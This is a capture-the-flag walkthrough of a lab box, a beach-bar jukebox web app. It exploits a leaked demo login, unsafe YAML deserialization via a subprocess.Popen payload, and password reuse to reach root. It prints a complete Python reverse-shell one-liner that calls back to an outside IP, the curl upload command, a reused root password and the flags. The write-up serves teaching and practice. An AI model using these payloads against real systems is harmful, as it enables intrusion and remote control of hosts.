Writeup on THM Holiday Hack 2026:
Day 05 - boot2root / Beach Bar

Author: Hubert Feyrer / hubertf, 2026-08-01


A beach-bar "jukebox" web app. A demo DJ login left enabled gets us in; the playlist Import feeds attacker YAML straight into an unsafe loader (!!python/object/apply:subprocess.Popen), which is remote code execution as the web user. A reused staff password (su) then gives root.

Challenge description

At the Beach Bar, even shell access is complimentary. The jukebox takes requests. Any kind.

Welcome back to the Byte Lotus - this time the sand is warm, the deck lights are coming up, and the beach bar's jukebox takes requests from anyone with a phone. You spend the evening as a guest at the rail who simply notices things: a DJ who never logs out, a song queue that accepts a little more than song titles, a service down the boardwalk quietly announcing "something".

The beachside guest-experience build shipped on a deadline, and the night-shift developer wired the jukebox straight into the floor with the trimmings still attached.

Today's itinerary: Find the user flag. Find the root flag.

1. Download

None. Source (app.py, jukeboxd.py, playlist.yml) was read off the box after the foothold.

2. Docker/nc - what we get

$ nmap -p- -T5 -sV 10.112.155.206
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn

3. Analysis steps

3.1 A demo DJ login left on (success)

Read the page source before touching the login.

$ # HTML comment on port 80:
<!--
  staff note: the demo DJ login is still enabled for the soft opening.
  dj / dj  -- swap this before the season starts (ticket BAR-7)
-->

Conclusion: log in as dj / dj - which unlocks playlist Export/Import.

3.2 Playlist import = unsafe YAML deserialization (success)

Export hands back a playlist.yml; Import loads YAML we supply. If it uses yaml.load (not safe_load), YAML tags instantiate arbitrary Python objects - classic Python YAML deserialization.

$ # probe: run a process via the loader
!!python/object/apply:subprocess.Popen
- ["/bin/cat","/etc/passwd"]
Result: <Popen: returncode: None args: ['/bin/cat', '/etc/passwd']>   # it executes

Conclusion: arbitrary command execution as the web user. Turn it into a reverse shell - and it grabs the user flag.

3.3 Reverse shell -> user flag (success)

$ # revshell.cmd - a YAML payload spawning a Python reverse shell
!!python/object/apply:subprocess.Popen
- - python3
  - -c
  - import socket,subprocess,os;s=socket.socket();s.connect(("192.168.128.17",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])

$ ncat -l -p 4444 &
$ curl -s -b 'session=eyJ1c2VyIjoiZGoifQ.amzr9w.mFrjoQoFqXzQSZiSGjyW3SuVWyE' \
    -F 'playlist=<revshell.cmd' http://10.113.180.98/import
# (shell as the web user)   ->   user flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}

USER_FLAG = THM{y4ml_pl4yl1st_pwns_th3_b34ch}

Conclusion: foothold as the web user. Now escalate.

3.4 Credential reuse -> root (success)

A staff password recovered on the box is reused for the root account.

$ su
Password: SunsetSpritz2024!
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

ROOT_FLAG = THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

Conclusion: root via password reuse - the whole box is named after its two lessons: a YAML playlist that pwns the bar, and credential reuse.

4. Solution

1. log in dj/dj (leaked in an HTML comment)
2. Import a YAML playlist with !!python/object/apply:subprocess.Popen -> RCE as web user (user flag)
3. reverse shell, then: su  (password SunsetSpritz2024!, reused) -> root (root flag)

5. Run it

$ curl -s -b 'session=eyJ1c2VyIjoiZGoifQ...' -F 'playlist=<revshell.cmd' http://TARGET/import   # revshell -> user flag
# su   # SunsetSpritz2024!  -> root -> cat /root/root.txt

6. Summary of how the exploit works

#StageMechanism
1AccessDemo login dj/dj leaked in an HTML comment unlocks playlist Import.
2RCE (user)Import deserializes YAML unsafely (!!python/object/apply:subprocess.Popen) -> reverse shell -> THM{y4ml_pl4yl1st_pwns_th3_b34ch}.
3RootA reused staff password (SunsetSpritz2024!) via su -> root -> THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}.